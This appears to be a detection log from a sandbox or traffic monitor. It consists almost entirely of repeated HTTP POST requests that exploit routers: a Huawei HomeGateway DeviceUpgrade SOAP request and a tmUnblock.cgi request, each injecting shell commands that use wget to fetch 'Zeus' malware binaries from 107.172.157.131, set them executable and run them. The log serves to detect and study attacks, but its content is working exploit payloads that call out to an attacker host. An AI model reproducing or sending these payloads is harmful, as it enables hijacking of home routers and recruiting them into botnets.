Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
